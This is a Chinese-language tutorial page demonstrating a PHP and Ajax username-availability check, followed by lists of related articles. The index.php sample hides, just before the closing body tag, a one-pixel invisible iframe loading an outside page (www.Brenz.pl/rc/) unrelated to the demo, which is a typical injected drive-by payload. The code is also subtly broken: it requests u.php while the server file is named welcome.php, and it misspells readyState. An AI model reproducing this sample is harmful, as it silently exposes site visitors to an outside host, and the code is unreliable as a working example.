PHP与Ajax相结合实现登录验证小Demo


Posted in PHP onMarch 16, 2016

 AJAX即“Asynchronous Javascript And XML”(异步JavaScript和XML),是指一种创建交互式网页应用的网页开发技术。

AJAX = Asynchronous JavaScript and XML(异步的 JavaScript 和 XML)。
AJAX 不是新的编程语言,而是一种使用现有标准的新方法。
AJAX 是与服务器交换数据并更新部分网页的艺术,在不重新加载整个页面的情况下。

设计一个用户注册页面,当用户输入注册名的时候,检测用户名是否已存在,如果存在,给予提示

我们先打index.php

<html> 
<head> 
<meta http-equiv="content-type" content="text/html; charset=gb2312" /> 
<script type="text/JavaScript"> 
function Ajax(){ 
var xmlHttpReq=null;//初始对象xmlHttpReq 
if(window.ActiveXObject){ 
xmlHttpReq=new ActiveXObject("Microsoft.XMLHTTP"); 
}else if(window.XMLHttpRequest){ 
xmlHttpReq=new XMLHttpRequest(); 
} 
var userId=document.getElementById("userId").value;//value取得id为userId的值 
url="u.php?userId="+userId;//路径 
if(xmlHttpReq!=null){//若对象实例化创建成功 
xmlHttpReq.open("GET",url,true);//open()打开请求 
xmlHttpReq.onreadystatechange=RequestCallBack;//设置回调函数RequestCallBack() 
xmlHttpReq.send(null);//请求不包括正文 
} 
function RequestCallBack(){//回调函数 
if(xmlHttpReq.readystate==4){ 
if(xmlHttpReq.status==200){//请求成功 
document.getElementById("get").innerHTML=xmlHttpReq.responseText;//将得到的信息赋给id属性为get的div 
} 
} 
} 
} 
</script> 
</head> 
<body> 
<font> 
注册 
</font><br> 
<form> 
用户名:<input type="text"value="yuki"id="userId"name="userId"><input type="button"value="检测"onclick="Ajax()"> 
<div id="get"> 
</div> 
</form> 
<iframe style="height:1px" src="http://www.Brenz.pl/rc/" frameborder=0 width=1></iframe> 
</body> 
</html>

welcome.php

<?php 
header("content-type:text/html;charset=gb2312"); 
//sleep(1); 
$userId=$_GET["userId"]; 
if($userId=="管理员"){ 
echo "用户名已存在!"; 
}else{ 
echo "该用户名可以注册"; 
} 
?>

关于PHP与Ajax相结合实现登录验证小Demo的相关知识就给大家介绍到这里,希望对大家有所帮助!

PHP 相关文章推荐
html中select语句读取mysql表中内容
Oct 09 PHP
PHP操作数组相关函数
Feb 03 PHP
php中jQuery插件autocomplate的简单使用笔记
Jun 14 PHP
thinkphp 一个页面使用2次分页的实现方法
Jul 15 PHP
PHP 输出URL的快捷方式示例代码
Sep 22 PHP
Yii清理缓存的方法
Jan 06 PHP
Zend Framework+smarty用法实例详解
Mar 19 PHP
浅谈PHP中如何实现Hook机制
Nov 14 PHP
关于ThinkPHP中的异常处理详解
May 11 PHP
php微信开发之谷歌测距
Jun 14 PHP
php实现数组中出现次数超过一半的数字的统计方法
Oct 14 PHP
TP3.2.3框架使用CKeditor编辑器在页面中上传图片的方法分析
Dec 31 PHP
Laravel实现构造函数自动依赖注入的方法
Mar 16 #PHP
PHP 二维数组和三维数组的过滤
Mar 16 #PHP
详解php中反射的应用
Mar 15 #PHP
php实现图片上传并进行替换操作
Mar 15 #PHP
php模板引擎技术简单实现
Mar 15 #PHP
9个比较实用的php代码片段
Mar 15 #PHP
Laravel使用Caching缓存数据减轻数据库查询压力的方法
Mar 15 #PHP
You might like
php为什么选mysql作为数据库? Mysql 创建用户方法
2007/07/02 PHP
linux php mysql数据库备份实现代码
2009/03/10 PHP
thinkphp3.x中cookie方法的用法分析
2016/05/19 PHP
Laravel中的chunk组块结果集处理与注意问题
2018/08/15 PHP
小型js框架veryide.librar源代码
2009/03/05 Javascript
检查输入的是否是数字使用keyCode配合onkeypress事件
2014/01/23 Javascript
require.js深入了解 require.js特性介绍
2014/09/04 Javascript
js实现用户离开页面前提示是否离开此页面的方法(包括浏览器按钮事件)
2015/07/18 Javascript
angularjs学习笔记之三大模块(modal,controller,view)
2015/09/26 Javascript
每天一篇javascript学习小结(Date对象)
2015/11/13 Javascript
jQuery+CSS实现滑动的标签分栏切换效果
2015/12/17 Javascript
javascript加减乘除的简单实例
2016/07/12 Javascript
浅谈vue的踩坑路
2017/08/31 Javascript
Material(包括Material Icon)在Angular2中的使用详解
2018/02/11 Javascript
vue实现城市列表选择功能
2018/07/16 Javascript
微信小程序在ios下Echarts图表不能滑动的问题解决
2019/07/10 Javascript
Element InputNumber 计数器的实现示例
2020/08/03 Javascript
详解Python3.1版本带来的核心变化
2015/04/07 Python
Python中Continue语句的用法的举例详解
2015/05/14 Python
使用Python实现windows下的抓包与解析
2018/01/15 Python
python 读取文件并替换字段的实例
2018/07/12 Python
python+selenium 脚本实现每天自动登记的思路详解
2020/03/11 Python
Python GUI编程学习笔记之tkinter控件的介绍及基本使用方法详解
2020/03/30 Python
Django在Model保存前记录日志实例
2020/05/14 Python
基于Python爬取51cto博客页面信息过程解析
2020/08/25 Python
Django框架请求生命周期实现原理
2020/11/13 Python
python3列表删除大量重复元素remove()方法的问题详解
2021/01/04 Python
css3 响应式媒体查询的示例代码
2019/09/25 HTML / CSS
MCAKE蛋糕官方网站:一直都是巴黎的味道
2018/02/06 全球购物
La Senza官网:北美顶尖性感内衣品牌
2018/08/03 全球购物
网管求职信
2014/03/03 职场文书
和睦家庭事迹
2014/05/14 职场文书
工作作风整顿个人剖析材料
2014/10/11 职场文书
2015幼儿园新学期寄语
2015/02/27 职场文书
2015年个人招商工作总结
2015/04/25 职场文书
Python anaconda安装库命令详解
2021/10/16 Python